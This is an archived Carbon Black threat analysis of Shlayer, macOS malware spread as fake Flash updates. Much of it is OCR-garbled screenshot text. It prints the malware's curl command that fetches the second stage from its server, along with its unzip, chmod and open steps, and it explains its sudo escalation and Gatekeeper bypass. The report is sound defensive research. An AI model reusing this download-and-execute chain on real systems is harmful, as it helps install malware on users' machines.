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VMware Carbon Black TAU Threat Analysis: Shlayer (macOS)

Published: 2020-02-12 - Archived: 2026-04-05 21:15:09 UTC

Following our initial reporting of this threat, Carbon Black’s Threat Analysis Unit (TAU) has continued following
the Shlayer family of malware and monitoring changes adopted by this campaign. Although detection by antivirus
vendors has improved over the past year, the malware authors continue to release new samples on a daily basis.
Despite minor differences in the variants discovered, the overall behavior of this family of malware has remained
the same. For more information on how VMware Carbon Black’s products protect from these threats, please see

the TAU-TIN on our user exchange.
Background

Shlayer is a family of macOS malware which was first reported in February of 2018 by researchers from Intego.
In November of 2018, VMware Carbon Black’s Threat Analysis Unit (TAU) obtained new samples of this
malware and observed downloads of the malware from multiple sites, primarily disguised as an Adobe Flash
software update. Many of the sites that we have found to redirect to these fake updates have been those
masquerading as legitimate sites, or hijacked domains formerly hosting legitimate sites, and some appear to be
redirected from malvertisements on legitimate sites. These tactics are often used by adware and malware to trick

the user into installing their software.

We have continued to see a steady number of infections and samples of Shlayer in the wild over the past year. In
the past six months, there is still a large number of samples being uploaded publicly. The chart below shows
uploads from the past six months, both original variants detected using behavioral identifiers and all samples

identified by at least one antivirus agent as Shlayer:
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Figure 1: Known Shlayer uploads, past six months

Although Shlayer samples are continually being generated and uploaded, and we continue to see active infections
in the wild, the basic behavioral indicators have not varied much since the initial samples seen in early

2018. Researchers at Kaspersky recently posted about a set of samples that were found to exhibit very similar
behavioral patterns to known Shlayer samples.

However, given the post-infection behavior of these samples, it is unclear whether the same actor set is behind the
campaign. Although the basic behavioral infection chain is the same, the refactoring of infection code with added
complexity and use of python rather than basic shell scripts implies the possibility that a different actor has

mimicked the functionality of Shlayer in order to divert attention or attribution.

As with versions of the original variant of Shlayer, many samples make use of scripting (typically bash or
AppleScript) rather than traditional installer packages. These variants still mimic the appearance of

traditional application installers, but rather than launching an executable they execute a script that performs

the infection. However, as discussed in the Execution section later in this post, these scripts are still subject to the
same Gatekeeper and notarization checks performed by macOS as with any other software executed on the

machine.
Details

Delivery
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As with much of the currently distributed adware, this malware is typically delivered via drive-by advertisements,
posing as a fake Adobe Flash or related software updates. Whether you receive the malware or a generic
advertisement from the compromised domain depends on your browser’s user-agent string, IP address, and
relative last visit. Given this determination, TAU developed a script to rotate through proxies, visit the main
advertisement domain (in this example case, dubbeldachs[.]Jcom), follow through all redirects, detect if the site is
malicious or not, capture a screenshot + page source + malware payload, and categorize the data. Below is a

sample screenshot of this script in action:

Ll

Tunnelblick

CONNECTED
[ = ] URL: https:// a/?utm_campaign=6yXKnZhEoA&c
| 9b6Bc71f13009bé.r.1548821305. 4cébidesdBieal?32f5fee79a5073

f7&8keyword=sron In: 1.98 KB/s 410 KB

i1 Out: 939 B/s 125 KB

CONNECTED

[ = ) URL: https:// /ZIYPTC?tag_id=744401

963597438334&cookie_id=8cc3cbf9-beaB-4072-82f5-2390924c7e2
{ =redirectidob=redirectdhref=https%3A%2F%2Fentionale.info%2

Disconnect

‘1

CONNECTED
¢ [ = ] URL: http://dubbeldachs.com/

a

CONNECTED
[ - ] Popup Detected:
UPDATES RECOMMENDED: It is recommended that you install the latest version of Flash.
[ + ] Closing Alert Box
[ = ] URL: https://s3.amazonaws.com/7fcf8762-4689-42Fd/t9_p_fVcDUWb/gBpa/efé44?cid=zr29cf3ée
6244511e9820912218002c6d22187612062ce4032835d968a36071216035764dd51886171Fd&source=whiskey-
pah=-40qwz0OVwWar=25271001-be68-e811-81f7-ed46T4389d4aks=408Cc61T36-71D7-41b1-917e-dcbéBalcBddbai
client=chrome&kd=aHR@cDovL3d3dySwcm90b2NvbGFkbWluLmNvbQ%253d%253da&h=VhdLQxoLGwoGBBQYCQYVAWB
sBAUXBAgNDQAXDQYDHwWABBBUBAQIGBQBZG15IEwWMIBQOFfAQsGCWE LFBRWDWBbBQODDgKkGBRwYW1IOCRRADGQCGAEGXg
YUXVIBGIMNBAAIXQxXFwEXVUdcEwMaXkFZRUoNFx5KCxhUQFRDWFZQTksYVkJIYGxsaQl4aDFtYWVUbGkFaURQPFQQKG
xpSXUgQUD11HTFIF&x=1&u=aHRBcHMELy9zMy5hbWF6b25hd3MuY29tL2YxMDQ5ZWQz LWM30WQtNDM3NS1hZjUvRIdDQ
iByNDBBL1BsYX11lciSkbWc%2fY21kPXpyMi1liZjM2ZTYyNDQIMTF10TgyZ T kxMmE xOGUWMMM2ZDIyMTg3NFEYMDYyY2
.UBMDNyODMiZDk20GEzNjASMTIxNj&zNTc2NGRkNTE400Y!NszZCZzb3VyY2U9d2hpc2tle$1wYWgtNEde3pPVlcmc
JOYNTISMTAWMS1iZTY4LWUSMTETODFmNY11ZDQ2ZjQz0D1kNGEMCZ@OMGM2MWY ZNiB3MWISLTAXYJETOTEIZS1kYZYw
YTFJOGRKYmEmY2xpZWS50PWNocm9tZSZrZD1hSFIwYORvdkwzZDNke TV3Y205MGIyTnZiROZrY1ldsdUxtTnZiUSUyNTN
kJTI1M2Q%3d
[ ! ] Attack Detected - Redirect: s3.amazonaws.com

[ + ] Adding Landing Page to List (data/links.txt)

[ + ] Capturing Screenshot (data/screenshots/s3.amazonaws.com__Jan-29-2819_11-11PM.png

[ + ] Extracting Source Code (data/source/s3.amazonaws.com__Jan-29-2019_11-11PM.txt)
[ + ] Extracting Payload(s) to (data/malware/)

1

CONNECTED

[ * ] URL: http://ww9.dubbeldachs.com/

[ - ] New IP Address Required - Rotating Proxies and sleeping for 1 minute...

Figure 2: Shlayer sample collection script

Running this script across multiple systems, we were able to capture over 50 unique samples in a matter of hours,

all targeted towards macOS. In total at that time, there were well over 5,000 unique hashes confirmed, meaning
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that banning via hash would be ineffective due to the rate at which binaries are re-compiled or otherwise modified.

The following screenshot illustrates a sample delivery site typical of Shlayer (and other adware):

| L ® [ Please update X +

|
<« Cc @ https://noteupgrade.freeandgreatappsite.icu/?b9zd1=aFDEoTW3qcipym4Vud7 AWjxgSTSBvQELDZFhQO_uT484-tX24IKKkBrL... ¥ (2]
Chrome is being controlled by automated test software. x

Software update

“Adobe Flash Player” is out-of-date

The version of this plug-in on your computer doesn’t
include the latest security updates. Flash cannot be
used until you download an update from Adobe.

Flash Player Update REQUIRED
Install latest version of Adobe

Flash Player in order to continue Downiload
watching.

Figure 3: Sample Fake Flash Update Site

In addition to malicious DMG / ISO / PKG downloaders, various redirects contained browser extensions. All
infection vectors required user interaction at some level in order to compromise the host, including installation of
software packages and authentication.

TN ) Net Safety by Safely - Chrome Web Store
@ https://chrome.google.com/webstore/detail/net-safety-by-safely/hfhfmkmokeccaciopjahpkmfdbkjbhmfp?hi=en

Chrome is being controlled by automated test software. *

g~ chrome web store £ sionin

Net Safety by Safely

Offered by: safelyprotection.online

ddrdrdd 2 | SearchTools | L 14.646 users

o Almost there... Click Add to continue

Figure 4: Sample Web Extension Download Site
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Although the distribution sites vary in theme and delivery method, we observed the resulting payload ultimately

installed a variant of Shlayer.
Execution

Samples discovered by TAU have been seen to affect versions of macOS from 10.10.5 to 10.14.3 as of December
2019. To this point, all discovered samples of this malware have targeted only macOS. The malware employs
multiple levels of obfuscation and is capable of privilege escalation. Many of the initial DMGs are signed with a
legitimate Apple developer ID and use legitimate system applications via bash to conduct all installation
activities. Although most samples were DMG files, we also discovered .pkg, .iso, and .zip payloads. The following

analysis results reflect execution of a DMG-based payload.

Note: There are many other samples found by TAU that appear to be variations of this malware, masquerading as
pirated software — these variations may have different application paths. The paths noted below represent only
those of the original variants directly observed and verified by TAU via binary analysis or across our customer
base. The samples collected and analyzed by TAU that were derived from pirated software have a nearly identical
execution chain as the traditional samples described below, with the exception of the command-line arguments to
the curl command: curl -fOL versus curl -fsL. This is an important distinction for detection, as the —0 (force http
1.0) argument is not generally used legitimately, whereas usage of —s (silent) and —S (show errors) is more

common.

The following represents a high-level overview of the process execution and infection chain for a

typical Shlayer installation:

P\ =\
‘ First seript Second script
decrypts second decodes third -
Compromised Site Fake Flash ——
Updater Script initiates
second stage
download

@ L ‘\ e Shlayer Collect System InfoJ
L e Installed | g “ Download via curl

Figure 5: Shlayer Infection Chain

As referenced in the Delivery section above, many Shlayer infections are distributed as fake Adobe Flash Player
updates from a compromised site, often packaged as a DMG file. The downloaded installer is designed to look
like a legitimate installation to trick the user into authenticating with their password to continue the second stage

infection such as the screenshot below:
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Player Installer

- Player

Play your downloaded movies.

Flash Player is the standard for delivering high-impact, rich web
content.

Designs, animation, and application user interfaces are deployed
Immediately across all browsers and platforms, attracting and
Engaging users with a rich web experience.

By king Mext, y agree stall Adobe | h Playe
End User Licanse Agreamant Privacy Policy

aree

Figure 6: Fake Flash Update Installer

When this DMG is mounted and the installer executed, a .command script is executed from a hidden directory in
the mounted volume. This script base64 decodes and AES decrypts a second script containing an additional
encoded script that is subsequently executed. A sample .command script is shown in Figure 2 below, along with

the two subsequent decoded/decrypted scripts. Although the format and sequence of these scripts vary among

samples, the basic overall execution chain remains the same.

Figure 7: Installer .command script (truncated)
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The second script below uses the system utilities xxd and base64 to decode a third script which ultimately

performs the download of the second stage payload and initializes the final installation activity.

Figure 8: Decoded/Decrypted script from initial .command script
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Figure 9: Final decoded script in first stage infection

The decoded script in Figure 4 above represents the final steps of the first stage of this infection, performing the

following after identifying the script location (e.g. /Volumes/Player/.hidden) and performing a verification check:

1. Collects system information such as the macOS version and IOPlatformUUID (a unique identifier for the
system)
2. Generates a “Session GUID” using uuidgen

3. Creates a custom URL using the information generated in the previous two steps and downloads the second

stage payload. For example:

Sample URL:

hxxp://api.resultsformat[.]Jcom/sd/?
c=C2NybQ==&u=$machine_id&s=$session_guid&o=$os_version&b=5831030393

Identifier =~ Sample Data Description
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c= C2NybQ Possible Campaign Identifier
564DB6C2-671E-6AE7-E4D2- Unique ID for victim system based
u:
D7C3B281EF34 on IOPlatformUUID

E7B274DC-2E66-45B1-A57B-

s= Session ID from uuidgen
29865A3DE435
0= 10.12.5 macOS version
b= 5831030393 Unknown identifier, hardcoded per sample

4. Attempts to download the zip file payload using curl (with arguments of either “-fOL” or “—fsL.” as mentioned

above)

5. Creates a directory in /tmp to store the payload and unzips the password-protected payload (note: the zip

password is hardcoded in the script per sample)
6. Makes the binary within the unzipped .app executable using chmod +x

7. Executes the payload using open with the passed arguments “s” “$session_guid” and “$volume_name” as in

the example below:
open -a /tmp/dTpyJRei/Player.app —args s 141CE8F5-BA78-4EA8-A941-933A076BA0EN /Volumes/Player/
8. Performs a killall Terminal to kill the running script’s terminal window

After the second stage payload is downloaded and executed, it attempts to escalate privileges with sudo using a
technique invoking /usr/libexec/security_authtrampeoline as discussed in Patrick Wardle’s DEFCON 2017 talk
“Death by 1000 Installers” and now documented under MITRE ATT&CK TID 1514 (Elevated Execution with

Prompt)1. Once the malware has elevated to root privileges, it attempts to download additional software (observed

to be adware in the analyzed samples) and bypasses Gatekeeper for the downloaded software. This allows the
allowlisted software to run without user intervention even if the system is set to disallow unknown applications
downloaded from the internet. Furthermore, many of the payloads contained within the second stage download are

signed with a valid developer ID as seen in red in the screenshot below:

unzip The file /private/tmp/uKpySlen/Player.app/Contents/MacOS5/5914472687 was first detected on a local disk. The device was off the

i e public address . The file is signed and is part of
5914472687 by Rios Becky.JThe file was created by the application /usr/bin/unzip.

Figure 10: Sample Shlayer Developer ID
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Apple Developer IDs are used to digitally sign applications with a certificate which is used by Gatekeeper on
macOS as a first step in validation of a binary for safety. When a program is downloaded from the internet,
Gatekeeper runs a check to see if the if the package or application is signed, and if it is signed with a known and
trusted developer ID. Although some of this process has changed with the introduction of notarization in macOS
Mojave version 10.14.5, in previous versions a dialog such as the following would be displayed when opening an

application that was not installed from the App Store:

“maccleaner.pkg” can't be opened because
it was not downloaded from the App Store.

Your security preferences allow installation of only
apps from the App Store.

r800r.tracking.blue

? - OK

Figure 11: Sample Gatekeeper warning dialog

If we examine one of the first stage Shlayer DMG packages, we can see that the initial executable that is launched
by the installer is signed by a valid Apple Developer ID (in the case illustrated below, Brianna Sanchez). Because
this is a valid developer certificate issued by Apple, Gatekeeper will allow this software to run without prompt. As
Apple Developer accounts have previously been fairly easy to register (just requiring an Apple ID and $99 yearly
fee), almost anyone could create an application with a valid certificate. Since the time of our first reporting

earlier last year however, Apple introduced additional security measures to both the registration of developer IDs
as well as the execution of kernel extensions. As of February 27th 2019, two-factor authentication (2FA) is
required for the main holder of a team’s Apple Developer account to sign in with their Apple ID, creating an
additional layer of security for the creation of certificates. This is significant as Apple’s form of two-factor
authentication varies from typical 2FA systems which just require a verification code from an email or SMS
message. Validity of an application’s certificate can be verified using the spctl or codesign commands as seen

below:
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dir$ spctl -a —vﬂvv

/volumes/Player/Player 190.app/Contents/MacOs/1QN]OCa¥YvIEYBESY
/Volumes/Player/Player 190.app/Contents/MacOs/1QN]OCa¥YvIEYBEDY: accepted
source=Developer ID

origin=Develeoper ID Application: Brianna Sanchez (RCABF3IYHME]

dir§ codesign -d -vvvy

/Wolumes/Player/Player 190.app/Contents/Mac0s/1QN]CCaYvIJEYBASY
Executable=/Volumes/FPlayer/Player 190.app/Contents/MacOs/1QNIOCaYvIJEYREESY
Identifier=com.l1QN]oCayvIEYBESY

Format=app bundle with generic

CodeDirectory v=20200 size=212 flags=0x0{none} hashes=1+3 location=embedded
Hash type=shaZbi size=3Z2

CandidateCDHash shal=113ceel259724f74eld3fZbafz45a6bedf3fbdich
CandidateCDHash sha256==8eT785634fb61156407d074414fd5bbbefaSlced
Hash choices=shal,shaZba

Page size=none

CDHash=e9e785634fb611564074074414fd5bbhofaslced

Signature size=9011

Authority=Developer ID Application: Brianna Sanchez (RCABFSOHME]
Authority=Developer ID Certification Authority

Authority=Apple Root CA

Timestamp=Feb 21, 2019, 10:43:11 &AM

Info.plist entries=12

TeamIdentifier=RCABFSYHME

dealed Resources version=2 rules=13 files=3

Internal requirements count=Z size=232

Figure 12: Command line certificate validation

During our initial tracking of Shlayer, we started to run down all the “fake” developer IDs but soon realized that
they were clearly being randomly generated and at a surprising rate — below is a very small sample out of many of

the initial IDs we collected:

Sanchez Scarlett Andrews Declan
Nichols Carson Raymond Amanda
Clement Dana Arnold Eleanor
Jasper Osmund Blanche Augusta
Rios Becky Bennett Marvin
Simmons Brianna Janson Chase
Fergus Basil Leighton Ganesa

Beatrix Hilary Mendez Melody
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Figure 13: Sample Shlayer Developer IDs

However, unlike files downloaded from a web browser, when a file is downloaded via the command line

utility curl, the quarantine attribute flag required for Gatekeeper’s check is not added to the file. This allows the
script above to download, unzip, and execute the Shlayer application without warning, bypassing Gatekeeper. This
means that if the first stage is able to execute, the second stage script is likely to run without further prompt to the

user after initial authentication.

Newer samples of Shlayer have been observed to perform a check for the validity of the Apple signature
using spctl before execution of the final payload. If the signature has been revoked, the software will exit

regardless of whether Gatekeeper has been successfully bypassed.

4:24:33pm Feb 21, 2019 CBEOF3T1ABRZC The apglication /private/ump/iujaWizg Player app/Contens/Resources/Player appiContentsMac OS/CBENF 371 ABZC invoked the agplication jusr/  vimwares-Mac
(Fiun as root) shinfspet fe-mac)

Event ID: f979cdd636 241 10502 38ab3:57880cae  Device location: Off Promise  Category: Monisored  Process started: One minute 3zo  Device IP address: 174.128.250.18  Device 05: MAC OSX 10125 User Name: root

Sensor installed By eroerenberg@carbonbiaccom  Parent name: sude  Parent process 1D; 17595 Parent reputation: TRUSTED WHITE_LIST Parent reputation (applied, white database): TRUSTED_WHITE_LIST

Parent SHA: 7TE5807038b6b:3415516396d4 232340627 cBB5 15087 307603935 3 abfoef22

Parent command line: sudc /private imp/iujaWizg/ Player app/Contents/Resources/Player apgi/Contents MacOS/CBEOFITIABIC 5 454548 1F-BAET 4002 BDGBE-FZB3A5I 73286 Nolumes/Player/ prompt-1 -2 Process name: CBEOFITIAS2C Process ID: 17556
App reputation: NOT_LISTED  App reputation (applied, cloudk NOT_LISTED  App MDS: 6e0%56ec4632 11da91 89630 158d7dbb  App SHA: ee 739301 2413a5eb50701 2141560806060 3901 6af) 3830270 7631654721

Command line: CBEOF371ABZC 5 ASA54B1F-BAET AC02 BDES-F28IASITI2BE Nolumes/Player/ prompt-1 3 Target Name: spcl  Target Process ID: 17632 Target Reputation: TRUSTED_WHITE_LIST

Target Reputation (applied, white database) TRUSTED WHITE LIST Target SHA: e5fa4cobeDe08bITEz642 500! 0055 1 393391904685 90 BIB02 1 9cabacTe  Target command linve: sporl -a implash2S/nstall Adobe Flash Player.app

Figure 14: Gatekeeper check via spctl

Apple has been revoking these falsely created certificates for Shlayer and other common malware quickly, cutting
their effective time in the wild as legitimate applications very short. Furthermore, there have been several changes
to the security of the Apple Developer program with the introduction of notarization in macOS 10.14.5. As of this
writing, TAU has not discovered any samples of Shlayer that have been notarized, and it is highly unlikely we
will be given the stringent build requirements under the new system. We continue to monitor this threat however
and will provide updates should anything change. The status of a notarized application can be verified using the
XCode command line tool stapler with the validate parameter as seen below — this command will return “The

validate action worked!” for a valid notarized app, but will return nothing if the app has not been notarized.

dirs stapler validate /hApplications/Notarizedapp.app
Processing: /Applicaticons/NotarizedApp.app
The wvalidate action worked!

Due to the number of known IOCs for this malware, hash-based prevention is extremely ineffective for this
campaign as executables are being frequently modified and recompiled. As of today, there are thousands of unique
known samples and the list continues to grow. Because of this, we recommend detection and monitoring strategies
based around behavioral indicators rather than hash- or other IOC-based indicators. For example, the execution of
system utilities xxd, base64, openssl, curl, and unzip may be common in a typical development environment in
isolation, but when seen in succession indicate Shlayer installation activity with high fidelity in our observation.
This succession of activity can be seen in the sequence of screenshots below which show the execution of the final
script in the first stage, using bash along with the system utilities described above to download and execute the

second stage payload.
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unzip

bX.4YFM

curl

curl

bX.4YFM

The file /private/tmp/ukpySlen/Player.app/Contents/Mac05/5914472687 was first detected on a local disk. The device was off the
rporate n ing the public address . The file is signed and is part of
5914472687 by Rios Becky.JThe file was created by the application /usr/bin/unzip.

The script /privatefvar/folders/gy/x0w9qB8s9315d17gqnvhfodnr0000gn/T/AppTranslocation/5561F937-1A6D-4BB9-9CD2-CBEEBD3D8
A6B/d/Player_125.app/Contents/MacO5/bX.4YFM invoked the application /usr/bin/unzip.

The application fusr/binfcurl established a TCP/B0 connection to 23.61.194.9:80 (located in Sacramento CA, United States) from
. The device was off the corporate network using the public address
. The operation was successful.

The application /usr/bin/curl established a TCP/80 connection to 23.61.194.42:80 (located in Sacramento CA, United States) from
The device was off the corporate network using the public address
. The operation was successful.

The script /private/var/folders/gy/x0w9q8s9315d17gqnvhfodnro000gn/T/AppTranslocation/5561F937-1A6D-4BB9-9CD2-CBEEBD3DE
AGB/d/Player_125.app/Contents/MacOS/bX.4YFM invoked the application fusr/bin/curl.

Figure 15: Sample Shlayer first stage installation

Command Line - Copy

Q

. bash

curl -fOL http://api.resultsformat.com/sd/?c=C2NybQ==8u=564DB6C2-67 1E-6AET-E4D2-D7C3B281EF2T85=8549A59C-C91A-420F-8C63-A825C1 2AFFEA&0=10.12.5&b=5866181762

.-
| B | [ R
| [ [RIEE | e
| o
| - ECU

Figure 16: Process tree — initial Shlayer infection

Type
childproc
childproc
childproc

childproc

Description

PID 32199 ended /usr/bin/xxd Signed (16de55271fa94729be725863c5e810bb)

PID 32196 ended /usr/bin/base64 Signed (50c35dd44fce6fe99d512f757¢511265)
PID 32192 ended /usr/bin/openssl Signed (9729eb9c3a14b025c242aaleccae4dOb)

PID 32202 ended /usr/bin/xxd Signed (16de55271fa94729be725863c5e810bb)

Figure 17: Child Processes of bash indicative of Shlayer infection

After the second stage malware downloaded by curl has been entrenched and gained root access, it is able to then

download and install additional software as seen in the process tree below:
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Figure 18: Sample Process tree for adware installed by Shlayer

This illustrates the true danger of Shlayer: although it is considered Adware, and therefore often dismissed as a
lower threat, successful infections of this malware result in the entrenchment of a backdoor that allows for the
installation of any software as the root user. Even though we know of no known cases of Shlayer installing any
software more nefarious than additional adware or cryptominers, it has the ability to install rootkits or other more
serious threats once entrenched. Furthermore, while the analyzed samples above do not attempt to conceal their
network activity, newer samples have been reported to use further obfuscation of payloads and encryption of
network traffic. Despite these changes however, the ability to detect the early-stage behavioral indicators of this

malware can easily prevent infection and protect the organization.

For more information on how Carbon Black’s products protect from these threats, please see the Shlayer TAU-

TIN on our user exchange.

MITRE ATT&CK TIDs
TID Tactic Description
T1204 Execution User Execution — first stage payload execution
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T1514 Privilege Escalation Elevated Execution with Prompt

T1158 Defense Evasion Hidden Directory — first stage payload execution
T1140/T1027 Defense Evasion Data Deobfuscation

T1142 Credential Access Keychain access

T1082 Discovery System Profiling (OS version, UUID)

Source: https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html
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